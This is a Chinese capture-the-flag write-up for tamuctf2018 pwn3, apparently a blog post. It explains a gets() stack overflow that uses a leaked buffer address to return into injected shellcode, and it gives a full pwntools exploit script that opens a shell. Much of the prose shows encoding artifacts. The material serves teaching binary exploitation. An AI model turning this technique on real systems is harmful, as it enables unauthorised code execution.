tamuctf2018_pwn3

思路

  • 首先看到主函數(shù),提示沒有print_flag函數(shù)可以用了,要自己寫shellcode,看到調(diào)用echo函數(shù),在echo函數(shù)可以看見gets,再次的知道溢出點(diǎn)在此,因此我們可以使該處溢出,從而控制程序流。通過查看棧,可以看出s的大小在0xee,但為了使程序流走向我們想要的位置,還需要覆蓋多0x4,一共覆蓋0xf2大小的空間
  • 但問題是我們?nèi)绾稳绾螛?gòu)建一個(gè)類似函數(shù)的東西,要有函數(shù)的地址,內(nèi)部空間存有我們的shelllcode,因此,我們還要關(guān)注到在調(diào)用gets前,程序還輸出了s所在的地址。
echo.png
  • 因此我們可以獲取s的地址并把shellcode也當(dāng)作覆蓋地址的第一部分代碼,在最后函數(shù)返回地址處覆蓋為s的地址,使得程序回到s的開頭,同時(shí)也是我們shellcode所在的地方,從而執(zhí)行shellcode
from pwn import*

context.log_level = 'debug'

shellcode = asm(shellcraft.sh())

io=process('./pwn3')
io.recvuntil('Your random number ')
text=io.recvline()[2:10]
print text

b_addr= int(text,16)

payload = shellcode + '\x90'* (0xf2 - len(shellcode)) +p32(b_addr)
io.recvuntil('Now what should I echo? ')
io.send(payload)
io.interactive()
io.close()
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 0x01 fd 文件描述符 0、1、2分別代表標(biāo)準(zhǔn)輸入、標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯(cuò)誤,所以輸入0x1234的十進(jìn)制值,再次...
    Nevv閱讀 6,013評(píng)論 0 6
  • .bat腳本基本命令語法 目錄 批處理的常見命令(未列舉的命令還比較多,請(qǐng)查閱幫助信息) 1、REM 和 :: 2...
    慶慶慶慶慶閱讀 8,531評(píng)論 1 19
  • 發(fā)現(xiàn)這是個(gè)很好用的app啊 之前還錯(cuò)怪你 對(duì)不起啦 突然很心急 心急自己沒有多余的掙錢的能力 心急沒有跟我是要好的...
    宇宙無敵總攻大人閱讀 281評(píng)論 0 0
  • 阿玲是個(gè)典型的家庭婦女。她總是在“重復(fù)”中生活,洗衣服、做飯、打掃家務(wù)、帶孩子是她的全部生活,一年365天,...
    胡同小怪閱讀 281評(píng)論 3 0

友情鏈接更多精彩內(nèi)容